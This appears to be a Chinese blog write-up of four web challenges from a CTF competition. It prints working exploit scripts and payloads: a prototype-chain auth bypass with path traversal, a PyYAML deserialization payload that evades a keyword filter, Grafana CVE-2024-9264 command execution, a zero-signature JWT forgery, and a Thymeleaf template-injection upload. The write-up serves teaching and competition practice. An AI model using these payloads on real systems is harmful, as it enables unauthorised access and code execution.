第四届黄河流域挑战赛web方向部分wp

ezlog

题目

image-20260609081722482

const path = require('path');
const fs = require('fs');
const express = require('express');
const crypto = require('crypto');

const app = express();
app.use(express.json());

const allowedFile = (file) => {
    const lastDot = file.lastIndexOf('.');
    if (lastDot === -1) return false;
    const format = file.slice(lastDot + 1);
    return format == 'log';
};

function generateSecureRandomNumber() {
    return crypto.randomBytes(8).readBigUInt64BE().toString().padStart(16, '0');
}
const ADMIN_NAME = "CTF-ADMIN";
const ADMIN_NONCE = "t0mcater" + generateSecureRandomNumber();

let adminconfig = {
    name: ADMIN_NAME
};
Object.prototype.nonce = ADMIN_NONCE;

function isAdmin(name, nonce) {
    return name === adminconfig.name && nonce === Object.prototype.nonce;
}

function merge(target, source, res) {
    for (let key in source) {
        if (key === '__proto__') {
            if (res) {
                res.send('????');
                return;
            }
            continue;
        }

        if (source[key] instanceof Object && key in target) {
            merge(target[key], source[key], res);
        } else {
            target[key] = source[key];
        }
    }
}

app.post('/api/pollute', (req, res) => {
    let userconfig = req.body;
    try {
        merge(adminconfig, userconfig, res);
        res.json({ 
            status: "success", 
            msg: "pollute success!!!",
        });
    } catch (e) {
        res.status(500).json({ status: "error", message: "wtf?" });
    }
});
app.post('/api/checkfile', async (req, res, next) => {
    try {
        if (isAdmin(req.body.name, req.body.nonce)) {
            let file = req.query.file;
            console.log(file);
            if (!file) {
                return res.send('File name not specified.');
            }
            if (!allowedFile(file)) {
                return res.send('File type not allowed.');
            }
            try {
                if (file.includes(' ') || file.includes('/') || file.includes('..')) {
                    return res.send('Invalid filename!');
                }
            } catch (err) {
                return res.send('An error occured!');
            }

            if (file.length > 10) {
                file = file.slice(0, 10);
            }
            const returned = path.resolve('./' + file);
            fs.readFile(returned, (err) => {
                if (err) {
                    return res.send('An error occured!');
                }
                res.sendFile(returned);
            });
        } else {
            return res.status(403).send('Sorry Only privileged Admin can check the file.');
        }
    } catch (err) {
        return next(err);
    }
});
app.get('/', (req, res) => {
    res.send(`
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Log Reader</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Courier New', monospace;
            background: #0a0e27;
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: #0f1222;
            border: 1px solid #2a2e4a;
            border-radius: 4px;
            width: 100%;
            max-width: 800px;
        }
        .header {
            background: #0b0e1a;
            padding: 20px;
            border-bottom: 1px solid #2a2e4a;
            text-align: center;
        }
        .header h1 {
            color: #4ade80;
            font-size: 20px;
            font-weight: normal;
            letter-spacing: 2px;
        }
        .content {
            padding: 30px;
        }
        .input-group {
            margin-bottom: 25px;
        }
        .input-group label {
            display: block;
            color: #8b8fc9;
            font-size: 12px;
            margin-bottom: 8px;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        input {
            width: 100%;
            background: #0b0e1a;
            border: 1px solid #2a2e4a;
            color: #4ade80;
            padding: 12px;
            font-family: 'Courier New', monospace;
            font-size: 13px;
            border-radius: 2px;
        }
        input:focus {
            outline: none;
            border-color: #4ade80;
        }
        button {
            background: #0b0e1a;
            border: 1px solid #2a2e4a;
            color: #4ade80;
            padding: 10px 20px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            cursor: pointer;
            transition: all 0.2s;
            margin-right: 10px;
        }
        button:hover {
            background: #1a1e32;
            border-color: #4ade80;
        }
        .result {
            margin-top: 25px;
            border-top: 1px solid #2a2e4a;
            padding-top: 20px;
            display: none;
        }
        .result.show {
            display: block;
        }
        .result pre {
            background: #0b0e1a;
            border: 1px solid #2a2e4a;
            padding: 15px;
            color: #4ade80;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            overflow-x: auto;
            white-space: pre-wrap;
            word-wrap: break-word;
            max-height: 500px;
            overflow-y: auto;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1># LOG READER</h1>
        </div>
        <div class="content">
            <div class="input-group">
                <label>$ INPUT</label>
                <input type="text" id="input" placeholder="">
            </div>
            
            <div>
                <button onclick="readFile()">[ READ ]</button>
                <button onclick="clearResult()">[ CLEAR ]</button>
            </div>
            
            <div id="result" class="result">
                <pre id="resultContent"></pre>
            </div>
        </div>
    </div>

    <script>
        async function readFile() {
            const input = document.getElementById('input').value;
            
            if (!input) return;
            
            let queryString = input;
            if (!input.includes('=')) {
                queryString = 'file=' + encodeURIComponent(input);
            }
            
            try {
                const response = await fetch('/api/checkfile?' + queryString, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({ name: 'CTF-ADMIN', nonce: '' })
                });
                
                const text = await response.text();
                const resultDiv = document.getElementById('result');
                const resultContent = document.getElementById('resultContent');
                
                resultContent.textContent = text;
                resultDiv.classList.add('show');
            } catch (error) {
                const resultDiv = document.getElementById('result');
                const resultContent = document.getElementById('resultContent');
                resultContent.textContent = 'Error: ' + error.message;
                resultDiv.classList.add('show');
            }
        }
        
        function clearResult() {
            const resultDiv = document.getElementById('result');
            resultDiv.classList.remove('show');
            document.getElementById('resultContent').textContent = '';
        }
    </script>
</body>
</html>
    `);
});
const PORT = 3000;
app.listen(PORT, () => {
    console.log(`Server running on http://localhost:${PORT}`);
});

考察原型链污染

重要的接口有两个

/api/pollute

app.post('/api/pollute', (req, res) => {
    let userconfig = req.body;
    try {
        merge(adminconfig, userconfig, res);
        res.json({ 
            status: "success", 
            msg: "pollute success!!!",
        });
    } catch (e) {
        res.status(500).json({ status: "error", message: "wtf?" });
    }
});

用于污染

/api/checkfile

app.post('/api/checkfile', async (req, res) => {
    if (isAdmin(req.body.name, req.body.nonce)) {  // 管理员检查
        let file = req.query.file;                  // 从 query 取文件名
        if (!allowedFile(file))                     // 必须 .log 结尾
            return res.send('File type not allowed.');
        if (file.includes(' ') || file.includes('/') || file.includes('..'))
            return res.send('Invalid filename!');   // 不能有空格 / ..
        if (file.length > 10)                       // 超10字符截断
            file = file.slice(0, 10);
        const returned = path.resolve('./' + file);  // 拼路径
        fs.readFile(returned, (err) => {
            if (err) return res.send('An error occured!');
            res.sendFile(returned);
        });
    } else {
        return res.status(403).send('Sorry Only privileged Admin can check the file.');
    }
});

用于读取文件,但是有几个if判断需要绕过或满足

漏洞 1:原型链继承绕过认证
JavaScript 原型链的规则:访问对象上不存在的属性时,会沿 __proto__ 向上查找。
req.body = { name: "CTF-ADMIN" }
            ↓
      req.body.nonce 不存在
            ↓
      去 req.body.__proto__ 找 → Object.prototype
            ↓
      找到 nonce = ADMIN_NONCE(服务端启动时设置的)
            ↓
      req.body.nonce === ADMIN_NONCE
所以只需要发送 {"name":"CTF-ADMIN"} 不带 nonce,就能通过认证。

漏洞 2:同名参数让 file 变数组
当 Express 收到多个同名 query 参数时:
?file=a&file=a&file=/../../flag&file=.&file=log
req.query.file 不再是字符串,而是数组:
["a", "a", "/../../flag", ".", "log"]
为满足拓展名要求,需要.log结尾
但我们可以借长度限制去掉末尾.log

最终脚本

import requests
r = requests.post("http://175.27.251.122:10010/api/checkfile",
    params=[("file","a")]*9+[("file","/../../flag"),("file","."),("file","log")],
    json={"name":"CTF-ADMIN"})
print(r.text.strip())

只需要传"name":"CTF-ADMIN"

js会自动向上找正确的nonce

如果比赛环境被别人污染了(公共靶机),也可以先在/api/pollute传

{"name": "attacker"}来污染name为任意值

{"constructor": {"prototype": {"nonce": "hacker"}}}来污染nonce为任意值

然后配合对应值来拿flag、

flag{RE2AL47_E42Y_F1le}

喵喵宠物医院

前置知识

YAML 是什么?

YAML 是一种数据格式,类似 JSON/XML,用来写配置文件。
JSON 版本:

{"name": "小白", "age": 3, "breed": "布偶猫"}

YAML 版本:

name: 小白
age: 3
breed: 布偶猫

JSON 用 {}、[]、"",YAML 用缩进和冒号。本质一样:都是结构化数据。

YAML 的"危险"之处:Tag

YAML 有个 JSON 没有的功能叫 Tag(标签),用 !! 表示。

name: !!str 小白       # 强制说:这是个字符串
age: !!int "3"         # 强制说:"3" 是整数,不是字符串

这本身没问题。但 PyYAML(Python 的 YAML 库)扩展了 Tag 功能,允许你写:

!!python/object/apply:os.popen
- cat /flag

这行 YAML 的意思是:调用 Python 的 os.popen("cat /flag") 函数。
这不是数据了,这是代码。YAML 解析器读到 !!python/object/apply:X 时会执行 X 函数。

这也是我们最重要的利用点

yaml的指令功能

YAML 有个功能叫 指令(Directive),其中 %TAG 可以给 tag URI 起别名

标准 YAML tag 格式:

!!python/object/apply:xxx

等价于:

tag:yaml.org,2002:python/object/apply:xxx

%TAG 可以写:

%TAG !p! tag:yaml.org,2002:python/
---
!p!object/apply:xxx

这里 !p! 等价于 !!python/

题目

YAML不止能写配置文件,PyYAML的文档里有些有意思的tag

测试一下功能,发现电子病历库和门诊预约表可以存记录

image-20260611161530459

考虑会不会在这里有yaml的利用点

抓包发现是json格式传参的

我们发payload探测一下

!!python/object/apply:os.popen[id]

均回显“安全策略拦截:系统防御机制已触发”

感觉有搞头

看看过滤机制

关键字 结果
!!python 拦截
os.popen 拦截
os.system 拦截
subprocess 拦截
builtins 拦截
eval 拦截
exec 拦截
open ok
/flag 拦截

我们使用yaml的指令功能绕过

%TAG !p! tag:yaml.org,2002:python/ \n --- \n !p! x

抛出异常而不是安全策略拦截,说明成功绕过waf

Python 有个标准库 linecache,它的唯一用途是读取文件的某一行并缓存。常用于 traceback 模块显示源码行。

import linecache
linecache.getline('/flag', 1)  # 返回 '/flag' 第1行的字符串

关键是:它只读文件、返回字符串、不执行命令 且不在黑名单里。

测试:

%TAG !p! tag:yaml.org,2002:python/
---
name: !p!object/apply:linecache.getline
  - /flag
  - 1

触发了安全限制,但这是因为有/flag

尝试拼接

import posixpath
posixpath.join('/', 'flag')

最终payload

{"command": "%TAG !p! tag:yaml.org,2002:python/\n---\nname: !p!object/apply:linecache.getline [!p!object/apply:posixpath.join [/, flag], 1]"}

或者

{"command":"%TAG !p! tag:yaml.org,2002:python/\n---\nname: !p!object/apply:linecache.getline\n  - !p!object/apply:posixpath.join [/, flag]\n  - 1"}

讲一下这payload语法

- 在 YAML 里表示列表(数组)的一项。
对应到 payload:
name: !p!object/apply:linecache.getline   # 调用函数 linecache.getline()
  - !p!object/apply:posixpath.join [/, flag]   # 第 1 个参数
  - 1                                          # 第 2 个参数
等价于 Python:
name = linecache.getline(
    posixpath.join("/", "flag"),   # 第1个参数 → "/flag"
    1                               # 第2个参数 → 读第1行
)

注意payload用burp或者yakit发

如果直接在网页发,payload中的\n会被转义成\\n

flag{huang_he_liu_yu_@@@@@}

real_Grafana

登录爆破出editor/editor123

进入网页右侧给了grafana的版本号,看看也没有cve

可能是CVE-2024-9264

直接工具梭哈

PS D:\工具包\CVE-2024-9264-main> python CVE-2024-9264.py -u editor -p editor123 -c "cat /f*" http://175.27.251.122:10025/
[+] Logged in as editor:editor123
[+] Executing command: cat /f*
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('cat /f* >/tmp/grafana_cmd_output 2>&1
|'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
flag{R247_G2afana_RRRR@@@@####123}

川味小厨

扫目录

端点 说明
/api/menu 公开菜单(不用登录就能看)
/api/auth/login 登录接口
/api/auth/register 注册接口
/admin/dashboard 管理后台(需要管理员权限)
/admin/orders 订单管理页(Thymeleaf 模板渲染)
/admin/api/upload 上架菜品(文件上传)

功能没用什么有意思的,抓包看到有token

解密一下

{
  "role": "user",
  "phone": "11111111111",
  "sid": "a370874d-c302-43fb-a13b-9d18b5fc1fed"
}

这里需要学习下ECDSA 签名原理
ECDSA 签名生成两个大整数 (r, s):

  1. 随机生成一个数 k
  2. 计算 R = k * G(椭圆曲线点乘),r = R.x
  3. 计算 s = k⁻¹ * (hash + r * privkey) mod n
  4. 输出 (r, s) → DER编码

r 和 s 必须满足:

  • r ≠ 0, s ≠ 0
  • r, s 在曲线的阶 n 范围内
  • R 必须是椭圆曲线上的点

零签名漏洞
将 r=0, s=0 传入验签:

  1. 验签第一步:计算 R' = (hash * s⁻¹) * G + (r * s⁻¹) * Q
    = (hash * 0⁻¹) * G + (0 * 0⁻¹) * Q
    = 除零 → 特殊处理
  2. 验签第二步:检查 R'.x == r
    有漏洞的 Java jjwt 库在处理 r=0 时,椭圆曲线点乘运算 0 * G 的结果是"无穷远点"(point at infinity)。库的代码在处理无穷远点时,有一个短路分支直接返回了"验证通过",没有继续比较 x 坐标。

正常签名需要私钥,零签名只需要:
r = 0, s = 0 → DER编码: 3006 020100 020100 → Base64: MAYCAQACAQA

存在漏洞的库就会直接通过验证

学习一下大佬的脚本

https://mp.weixin.qq.com/s/unWw3OxwB-Qg_AeRP1t3sA

import base64, json

def b64e(data):
    return base64.urlsafe_b64encode(
        data.encode() if isinstance(data, str) else data
    ).decode().rstrip("=")

header = b64e(json.dumps({"alg": "ES256", "typ": "JWT"}))
body   = b64e(json.dumps({"phone": "admin", "role": "admin", "sid": "exp"}))
sig    = "MAYCAQACAQA"

forged_token = f"{header}.{body}.{sig}"
print(forged_token)

#eyJhbGciOiAiRVMyNTYiLCAidHlwIjogIkpXVCJ9.eyJwaG9uZSI6ICJhZG1pbiIsICJyb2xlIjogImFkbWluIiwgInNpZCI6ICJleHAifQ.MAYCAQACAQA

但是回显

{ "code": 403, "msg": "无权访问" }

奇怪,为什么复现不出来呢

又学习了另一位师傅的wp

https://www.cnblogs.com/Joyooo/p/20361753#川味小厨

发现问题出现在后端对字符串有过滤,检测到role就会报错,但是由于这个过滤发生在json解释之前,而json规范允许用 \uXXXX 表示任意 Unicode 字符,我们可以使用\u0065代替e

但是修改脚本时要注意

  1. python会将\u0065提前转义成e,所以我们需要\\u0065,这样python转义完就是正确的\u0065
  2. json.dumps处理处理\u0065时,会将反斜杠转义,即将\u0065转义成\\u0065,但是这样生成的jwt被靶机后端解析后无法正常变成e
  3. 索性不用json.dumps,只要手动保证json格式正确即可

重新改一下脚本就是

import base64
def b64e(data):
    return base64.urlsafe_b64encode(
        data.encode() if isinstance(data, str) else data
    ).decode().rstrip("=")
header = b64e('{"alg":"ES256","typ":"JWT"}')
body   = b64e('{"phone":"admin","rol\\u0065":"admin","sid":"exp"}')
sig    = "MAYCAQACAQA"
forged_token = f"{header}.{body}.{sig}"
print(forged_token)

#eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJwaG9uZSI6ImFkbWluIiwicm9sXHUwMDY1IjoiYWRtaW4iLCJzaWQiOiJleHAifQ.MAYCAQACAQA

回显

{
  "code": 200,
  "msg": "获取成功",
  "data": {
    "phone": "admin",
    "name": "admin",
    "password": "Sanjiu1234567890@@@",
    "role": "admin",
    "coupons": 0,
    "balance": 0.0
  }
}

直接去登录管理员账号

发现上架新菜品可能存在文件上传漏洞

抓包尝试路径穿越,文件名修改为../qqq.jpg

f12看图片好像确实传上去了,且路径直接拼接文件名

看其他师傅的wp都确认了是 Thymeleaf 模板,但我没找到确认的方法....

硬说有的话.....下单页面刷新的时候偶尔会一闪而过模板格式,不过询问ai后,这应该是前端Vue.js 还没加载完,浏览器直接把 {{}} 当文字显示了,跟 Thymeleaf没关系

image-20260613085630918

ai说可以根据模板存放目录来判断

上传文件名设为 ../templates/orders.html 能成功覆盖模板——说明模板目录就是 templates/。这是 Thymeleaf 在 Spring Boot 里的默认配置路径:
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
JSP 的默认目录是 /WEB-INF/,FreeMarker 的默认后缀是 .ftl。只有 Thymeleaf 用 templates/ + .html。

Exploit

Content-Disposition: form-data; name="file"; filename="../templates/orders.html"
Content-Type: image/jpeg

<div th:text="${new java.io.BufferedReader(
    new java.io.FileReader('/flag')
).readLine()}"></div>

然后访问/admin/orders

flag{sanjiu}

复习payload语法

外层:HTML 标签

<div th:text="..."></div>

th:text 是 Thymeleaf 的属性。它的意思是:把标签里的内容替换成这个表达式的计算结果。
原本

旧内容
→ Thymeleaf 执行表达式 →
计算结果

**中间层:\({} — SpEL 表达式** \){...}
${} 是 SpEL(Spring Expression Language)的定界符。Thymeleaf 遇到 ${} 就执行里面的 Java 代码,把结果替换进来。
内层:Java 代码

new java.io.BufferedReader(
    new java.io.FileReader('/flag')
).readLine()

拆成三步:

代码 作用
new java.io.FileReader('/flag') 打开 /flag 文件,准备读
new java.io.BufferedReader(...) 包一层缓冲,方便按行读取
.readLine() 读第一行(flag 就在第一行)
posted @ 2026-06-13 09:25  E73RN4L  阅读(12)  评论(0)    收藏  举报